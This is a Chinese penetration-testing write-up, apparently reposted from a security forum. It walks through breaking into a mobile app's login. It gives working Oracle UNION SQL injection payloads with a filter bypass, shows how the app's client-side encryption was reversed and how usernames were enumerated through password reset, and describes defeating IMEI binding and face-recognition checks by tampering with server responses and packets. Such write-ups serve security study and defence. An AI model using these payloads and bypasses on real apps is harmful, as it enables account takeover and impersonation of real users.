您当前的位置:首页 > 电脑百科 > 安全防护 > 移动

App渗透 - 从SQL注入到人脸识别登录绕过

时间:2020-11-19 11:03:21  来源:  作者:

App渗透 - 人脸识别登录绕过

打开APP是一个登录框

App渗透 - 从SQL注入到人脸识别登录绕过

 

抓包后发现参数被加密了

App渗透 - 从SQL注入到人脸识别登录绕过

 

使用Jadx脱源码发现,并没有加壳也没有混淆,运气很好

App渗透 - 从SQL注入到人脸识别登录绕过

 

根据经验,先搜索Encrypt、Decrypt等关键字,发现在Common.js中有一个encryptData函数

App渗透 - 从SQL注入到人脸识别登录绕过

 

定位过去,一套加解密算法都写好了放在这

App渗透 - 从SQL注入到人脸识别登录绕过

 

放到浏览器console里面调试,果然没错

App渗透 - 从SQL注入到人脸识别登录绕过

 

首先测试了一下注入

明文:{"userName":"TEST'","password":"123456","osType":"Android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:App返回异常
App渗透 - 从SQL注入到人脸识别登录绕过

 

明文:{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:App返回正常
App渗透 - 从SQL注入到人脸识别登录绕过

 

明文:{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:App返回正常
App渗透 - 从SQL注入到人脸识别登录绕过

 

至此已经可以判断该登录点就是一个注入了,可是返回结果始终都是“用户名或密码错”即使用了' or '1'='1

App渗透 - 从SQL注入到人脸识别登录绕过

 

根据返回结果推测,后端的登录处的逻辑代码可能是这样的

userInfo = 'select * from userinfo where username = <userName>';
userPass = userInfo.password;
if (userPass == <passWord>){
    return 'Login success';
}else{
    return 'Login failed';
}

通过Union注入构造万能密码,是可以造成任意用户登陆的,测试过程如下
先使用order by测试,得知字段的数量为9个,构造payload

# 由于目标服务器带有过滤,所以这里简单的bypass一下
明文:{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:App返回成功
App渗透 - 从SQL注入到人脸识别登录绕过

 

由于Oracle在进行union查询时,所对应的字段数据类型也必须相同,所以还要进行字段数据类型的测试,最终结果如下

# 注意这里passWord我修改成了123,用来测试Union构造的万能密码是否可行
明文:{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:提示是弱密码(说明此方法可行)
App渗透 - 从SQL注入到人脸识别登录绕过

 


App渗透 - 从SQL注入到人脸识别登录绕过

 


接下来就是一个字段一个字段的改过去,判断哪个字段对应的是密码字段,测试结果如下

# 注意这里passWord我修改成了Ceshi123@@@,不再是弱口令了
明文:{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果:提示登录成功
App渗透 - 从SQL注入到人脸识别登录绕过

 


App渗透 - 从SQL注入到人脸识别登录绕过

 

在绕过后,发现程序出现了异常

App渗透 - 从SQL注入到人脸识别登录绕过

 

仔细观察返回的数据,其中有username(用户名)、staffId(职工号)、email(邮箱)、staffName(姓名)、tel(手机号)、mobile(手机号),然而这些数据都是我刚刚自己随便构造的,这里应该需要一个真实的用户信息,供后续的登录流程使用

App渗透 - 从SQL注入到人脸识别登录绕过

 

好在,还是有一个地方能获取真实的用户信息的
App还有一个忘记密码的功能(通常这里可以爆破用户名)

App渗透 - 从SQL注入到人脸识别登录绕过

 

利用忘记密码的功能可以判断用户名是否存在,这里随便跑了一下字典,就出来好多用户名

App渗透 - 从SQL注入到人脸识别登录绕过

 


App渗透 - 从SQL注入到人脸识别登录绕过

 

自然而然地利用这些用户名使用短信验证码登录

App渗透 - 从SQL注入到人脸识别登录绕过

 

获取验证码,然后解密数据包,惊奇的发现返回了用户基本信息

App渗透 - 从SQL注入到人脸识别登录绕过

 

根据登录返回结果,重新测试payload,最终结果如下

明文:{"userName":"TEST'union/**/select/**/<staffId>,'Qwe123@@@','<userName>','Qwe123@@@','<mobile>','<mobile>','<email>','865166023309431',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:xxxxxxxxx
结果:提示登录成功
App渗透 - 从SQL注入到人脸识别登录绕过

 

仔细看返回的登录数据,已经正常了

App渗透 - 从SQL注入到人脸识别登录绕过

 

然后重新替换数据包登录,提示绑定IMEI

App渗透 - 从SQL注入到人脸识别登录绕过

 

这个绕过很简单,随便输入验证码,替换返回包,把resultCode从1001改为1000就行(常规操作)

App渗透 - 从SQL注入到人脸识别登录绕过

 


App渗透 - 从SQL注入到人脸识别登录绕过

 

最终还要个人脸认证

App渗透 - 从SQL注入到人脸识别登录绕过

 

先用自己的脸检测,这时候手机会向服务器发包,burp把手机发向服务器的包直接丢掉就可以绕过

App渗透 - 从SQL注入到人脸识别登录绕过

 

点击确定后,还有一个大数据包发向服务器,这里面包含的是人脸数据

App渗透 - 从SQL注入到人脸识别登录绕过

 

修改数据包,将其中的人脸数据替换为空,然后发送

App渗透 - 从SQL注入到人脸识别登录绕过

 


App渗透 - 从SQL注入到人脸识别登录绕过

 

最终的最终,成功登录APP

App渗透 - 从SQL注入到人脸识别登录绕过

 


App渗透 - 从SQL注入到人脸识别登录绕过

 

----------------

转载于https://xz.aliyun.com/t/8308



Tags:App渗透   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
公众号:白帽子左一 领取配套练手靶场、安全全套课程及工具...前言在日常渗透项目中,app渗透可以说是家常便饭了。但由于安卓7以后不信任用户安装的证书,很多时候无法正常抓取数...【详细内容】
2021-12-07  Tags: App渗透  点击:(31)  评论:(0)  加入收藏
前言登场的目标虽不是SRC,但是整个漏洞的利用手法很有学习意义。目前在很多大厂的http数据包中都会添加sign值对数据包是否被篡改进行校验,而sign算法的破解往往是我们漏洞测...【详细内容】
2021-11-10  Tags: App渗透  点击:(91)  评论:(0)  加入收藏
一、准备环境Burpsuite、夜神模拟器二、步骤运行burpsuite,打开代理后,访问 http://burp/ 下载CA证书点击右上角位置下载CA证书将下载的CA证书导入到浏览器中,打开浏览器选择设...【详细内容】
2021-10-08  Tags: App渗透  点击:(66)  评论:(0)  加入收藏
App渗透 - 人脸识别登录绕过打开APP是一个登录框 抓包后发现参数被加密了 使用Jadx脱源码发现,并没有加壳也没有混淆,运气很好 根据经验,先搜索Encrypt、Decrypt等关键字,发现在...【详细内容】
2020-11-19  Tags: App渗透  点击:(371)  评论:(0)  加入收藏
IOS端的APP渗透测试在整个互联网上相关的安全文章较少,前几天有位客户的APP数据被篡改,导致用户被随意提现,任意的提币,转币给平台的运营造成了很大的经济损失,通过朋友介绍找到...【详细内容】
2019-12-26  Tags: App渗透  点击:(130)  评论:(0)  加入收藏
▌简易百科推荐
公众号:白帽子左一 领取配套练手靶场、安全全套课程及工具...前言在日常渗透项目中,app渗透可以说是家常便饭了。但由于安卓7以后不信任用户安装的证书,很多时候无法正常抓取数...【详细内容】
2021-12-07  暗网视界    Tags:APP渗透   点击:(31)  评论:(0)  加入收藏
前言登场的目标虽不是SRC,但是整个漏洞的利用手法很有学习意义。目前在很多大厂的http数据包中都会添加sign值对数据包是否被篡改进行校验,而sign算法的破解往往是我们漏洞测...【详细内容】
2021-11-10  IT野涵    Tags:APP渗透   点击:(91)  评论:(0)  加入收藏
一、知识点详解msfconsole,进入msf控制端show options,查看设置的ip地址和端口号是否写入run,根据写入的ip地址和端口号,开启监听服务help,在进入安卓手机的控制端,查看可以使用的...【详细内容】
2021-10-08  Kali与编程    Tags:木马渗透   点击:(63)  评论:(0)  加入收藏
一、准备环境Burpsuite、夜神模拟器二、步骤运行burpsuite,打开代理后,访问 http://burp/ 下载CA证书点击右上角位置下载CA证书将下载的CA证书导入到浏览器中,打开浏览器选择设...【详细内容】
2021-10-08  往右走    Tags:APP渗透测试   点击:(66)  评论:(0)  加入收藏
Apple 设备系统最近面临了许多安全性方面的考验,好在在研究组织 Citizen Lab 地帮忙揭露下,最近一个名为「ForcedEntry」的攻击漏洞,已经被官方确认并提出了建议,建议所有用户安...【详细内容】
2021-09-15  科技洞见未来    Tags:苹果漏洞   点击:(70)  评论:(0)  加入收藏
一、知识点详解webcam_list 查看摄像头的序号Webcam_snap -i 摄像头序号,根据摄像头序号,使用该摄像头拍照二、操作详解在我们的kali虚拟机已经成功连接到安卓手机终端后,调用...【详细内容】
2021-08-26  Kali与编程    Tags:黑客   点击:(71)  评论:(0)  加入收藏
前言众所周知,在互联网信息化时代,各种APP、游戏都需要进行“实名制”,所以人们的“个人信息”也变得十分的重要。而互联网又是一把双刃剑,虽然给人们带来了很多的便利、但同时...【详细内容】
2021-07-29  IT影子    Tags:监听   点击:(209)  评论:(0)  加入收藏
你的手机可能被入侵的方式有几种种。让我们分解每一个,看看一些可能的预防措施。1:手机丢失或被盗如果你丢失了手机,它可能会落入坏人之手。如果他们还有关于你的其他信息,他们...【详细内容】
2021-06-01  视频二爷  今日头条  Tags:网络攻击   点击:(131)  评论:(0)  加入收藏
来源:金融界网骚扰电话接不完?信箱里的垃圾短信堆成山?莫名其妙被扣费?网络诈骗玩起“剧本杀”?近日,360联合中国信息通信研究院发布了《2020年中国手机安全状况报告》(以下简称《...【详细内容】
2021-02-02      Tags:手机安全   点击:(146)  评论:(0)  加入收藏
道高一尺,魔高一丈!科技的发展,在推动社会进步的同时,也让无良之徒有机可乘。随着手机扫码的普及,不法分子也纷纷打起了二维码的主意,让你扫进他的陷阱,落入他的圈套。曾经听说某...【详细内容】
2020-12-02      Tags:二维码   点击:(216)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条